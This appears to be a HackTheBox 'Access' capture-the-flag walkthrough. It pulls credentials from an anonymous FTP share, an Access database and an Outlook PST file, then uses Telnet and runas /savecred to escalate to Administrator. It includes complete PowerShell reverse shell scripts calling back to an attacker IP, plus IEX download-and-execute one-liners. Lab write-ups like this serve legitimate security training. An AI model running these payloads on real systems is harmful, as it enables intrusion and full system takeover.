Skip to main content

HackTheBox Access

Edwin Tok | Shiro
Author
Edwin Tok | Shiro
「 ✦ OwO ✦ 」
Table of Contents

IP Address: 10.129.198.185

Key Exploitation Techniques:

  • Anonymous FTP misconfiguration leading to information disclosure
  • Credential extraction from Microsoft Access databases (.mdb)
  • Password reuse across services and encrypted archives
  • Extracting credentials from Outlook PST files
  • Abusing Windows stored credentials with runas /savecred

Enumeration
#

$ nmap -p 21,23,80 -sC -sV 10.129.198.185
...
PORT   STATE SERVICE
21/tcp open  ftp
23/tcp open  telnet
80/tcp open  http

FTP Enumeration
#

We connected to the FTP service and explored the directories, finding two notable files.

$ ftp 10.129.198.185
Name: anonymous
Password: [press enter]

ftp> ls
# ...
<DIR>          Backups
<DIR>          Engineer
# ...

ftp> cd Backups
ftp> get backup.mdb
# ...
ftp> cd ../Engineer
ftp> get "Access Control.zip"
# ...

Files retrieved:

  • backup.mdb - Microsoft Access database
  • Access Control.zip - Password-protected archive

Credential Harvesting
#

Extracting Data from backup.mdb
#

Microsoft Access databases can be read using the mdbtools package. Let’s list the tables:

$ mdb-tables backup.mdb
... auth_group_permissions auth_message auth_permission auth_user auth_user_groups auth_user_user_permissions ...

The auth_user table looks promising:

$ mdb-export backup.mdb auth_user
"admin","admin",
"engineer","access4u@security",
"backup_admin","admin",

Credentials extracted:

  • admin:admin
  • engineer:access4u@security
  • backup_admin:admin

Extracting Access Control.zip
#

The ZIP file is password-protected. Let’s try the password we just found:

$ 7z x "Access Control.zip" -paccess4u@security

The archive extracted a file named Access Control.pst. This is an Outlook data file, which can contain emails, contacts, and calendar items.

Reading Access Control.pst
#

PST (Personal Storage Table) files contain Outlook emails, contacts, and calendar data. We’ll use readpst to extract the contents:

$ readpst -tea -m "Access Control.pst"
Opening PST file and indexes...
Processing Folder "Deleted Items"
        "Access Control" - 2 items done, 0 items skipped.

This created a directory with extracted emails:

$ cat 2.eml
Status: RO
From: john@megacorp.com <john@megacorp.com>
Subject: MegaCorp Access Control System "security" account
To: 'security@accesscontrolsystems.com'
...

Hi there,
 
The password for the “security” account has been changed to 4Cc3ssC0ntr0ller.  Please ensure this is passed on to your engineers.
 

Regards,

John

Password: 4Cc3ssC0ntr0ller

Exploitation
#

Initial Access
#

With the credentials from the email, we can now access the Telnet service:

$ telnet 10.129.198.185
login: security
password: 4Cc3ssC0ntr0ller

*===============================================================
Microsoft Telnet Server.
*===============================================================
C:\Users\security>whoami
access\security

We have shell access as the security user.

Retrieving user.txt
#

C:\Users\security>type Desktop\user.txt
<redacted>

Telnet is limited and unstable. Let’s upgrade to a PowerShell reverse shell for better control.

Create payload.ps1 on attacker machine.

$LHOST = "10.10.16.22"; $LPORT = 4444; if ($LHOST -match ':') { $addressFamily = [System.Net.Sockets.AddressFamily]::InterNetworkV6; $client = New-Object System.Net.Sockets.TCPClient($addressFamily); } else { $client = New-Object System.Net.Sockets.TCPClient; }; $client.Connect($LHOST, $LPORT); $stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte, 0, $sendbyte.Length);$stream.Flush()};$client.Close();

Start web server to host the payload:

$ python3 -m http.server 80

Start netcat listener:

$ rlwrap -cAr nc -lvnp 4444

Execute payload from Telnet session:

powershell "IEX(New-Object Net.WebClient).DownloadString('http://10.10.16.22/payload.ps1'))"

Reverse shell received:

Connection received on 10.129.198.185 49158
whoami
access\security
PS C:\Users\security> 

Privilege Escalation
#

Enumerating Store Credentials
#

Windows can store credentials for applications using the Credential Manager. Let’s check:

C:\Users\security>cmdkey /list
Currently stored credentials:
    Target: Domain:interactive=ACCESS\Administrator
    Type: Domain Password
    User: ACCESS\Administrator

The Administrator credentials are stored! This means we can use runas /savecred to execute commands as Administrator without knowing the password.

Finding the Source of Stored Credentials
#

Let’s search for shortcuts (.lnk files) that might use runas /savecred:

PS C:\Users\security> Get-ChildItem "C:\" -Filter *.lnk -Recurse -Force -ErrorAction SilentlyContinue | Select-Object FullName
FullName
--------
C:\Users\Public\Desktop\ZKAccess3.5 Security System.lnk

Let’s examine this shortcut:

PS C:\Users\security> Get-Content "C:\Users\Public\Desktop\ZKAccess3.5 Security System.lnk" | Select-String "runas"
runas.exe /user:ACCESS\Administrator /savecred "C:\ZKTeco\ZKAccess3.5\Access.exe"

This confirms that the ZKAccess application uses stored Administrator credentials.

Exploiting runas /savecred
#

Since the Administrator password is saved, we can execute ANY command as Administrator, not just the intended application.

Create admin_payload.ps1 (same as before, different port):

$LHOST = "10.10.16.22"
$LPORT = 8888

if ($LHOST -match ':') {
    $addressFamily = [System.Net.Sockets.AddressFamily]::InterNetworkV6
    $client = New-Object System.Net.Sockets.TCPClient($addressFamily)
} else {
    $client = New-Object System.Net.Sockets.TCPClient
}

$client.Connect($LHOST, $LPORT)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}

while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i)
    $sendback = (iex $data 2>&1 | Out-String)
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
    $stream.Write($sendbyte, 0, $sendbyte.Length)
    $stream.Flush()
}
$client.Close()

Start second listener:

$ rlwrap -cAr nc -lvnp 8888
Listening on 0.0.0.0 8888

Execute privilege escalation:

PS C:\Users\security> runas /user:ACCESS\Administrator /savecred "powershell -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.16.22/admin_payload.ps1')"

Administrator shell received:

Connection received on 10.129.198.185 49162
whoami
access\administrator
PS C:\Windows\system32>

Retrieving root.txt
#

PS C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
<redacted>

Related